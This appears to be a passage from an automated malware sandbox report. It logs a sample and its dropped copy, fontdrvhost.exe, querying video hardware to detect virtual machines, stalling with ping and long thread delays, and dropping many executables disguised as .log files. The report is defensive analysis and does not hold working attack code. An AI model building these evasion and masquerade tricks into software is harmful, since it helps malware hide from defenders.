Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Memory allocated: 1280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Memory allocated: 1B0B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1A840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1190000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1B110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1B180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1550000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1AEF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1AAB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: F70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1ACA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1AB90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1800000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1B4D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1360000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1ADF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: A20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1A750000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: B60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Memory allocated: 1A620000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Code function: 0_2_00007FFD9BBD3600 rdtsc

0_2_00007FFD9BBD3600

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IsWIxvZJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fzXEwQRC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\auteTnDC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zTojkKNX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AaPSReOe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uztLDTCs.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hezDLgou.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CkrRJHNx.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tIxJOpqh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bYjfzcZg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xOrrZDRn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\yEAAOeyR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WvXEaKPX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ntFcgnCN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\feqUKmVF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bAJNFhyM.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WAZwZzli.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BxnIYuRz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EQFIYaOX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fLnmpTPV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RMfXVWDe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nJodFojJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EOpBrqDR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UbSwNisy.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aYVnMXzh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RnzHiPIs.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RMCoLrQk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uRiBlhjd.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qxbJOXLg.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PCgnLZlk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CGTrJaEm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YMjefUJa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hRSCUTxn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CgRzmzKC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HuSZzPsz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LovAYRCw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\inkviYhq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\pzYaRqdW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\piqUgtXk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hJcmyZDP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QkEpPQey.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\eCwwaQCH.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tAOrkGQb.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qiKKKJQB.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lThKWNPp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\cnAeDqUL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ELDRalsN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oTDkKMId.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ipFMCTyG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IdUqmnRm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DACRVJoK.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IbKgwPay.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\avWEvUWS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ldamqVhj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YsHvxEyH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KWVhlfdm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aABfDneW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YnJNkaiG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KOmOGvDg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zldaSYtH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FvSbvlyH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mbeUnBPt.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MLVQXpXH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NmOPODYO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JavyIngh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YBjETBXN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\pntLeisv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KszgdGmQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aLYWFcdp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fuaVjmBB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\pMKkuPam.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VPWFywnw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JvAHRkKP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XzKOkXsR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VWGgLdif.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YVGePHcW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DQsQlVoZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HlvZPcYC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lCADkPID.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CTQIQVae.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GspafaHt.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CdkYHFFH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RraOLYZw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TORFqFIZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TWBYVoif.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zntiAIEO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dbVNVLdb.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\maCuLVwe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wOXBumXW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RRcFiATg.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\THFECrua.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TlbPEPXm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rrvChBIx.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GGiHtSpS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZbufrXkm.log	Jump to dropped file
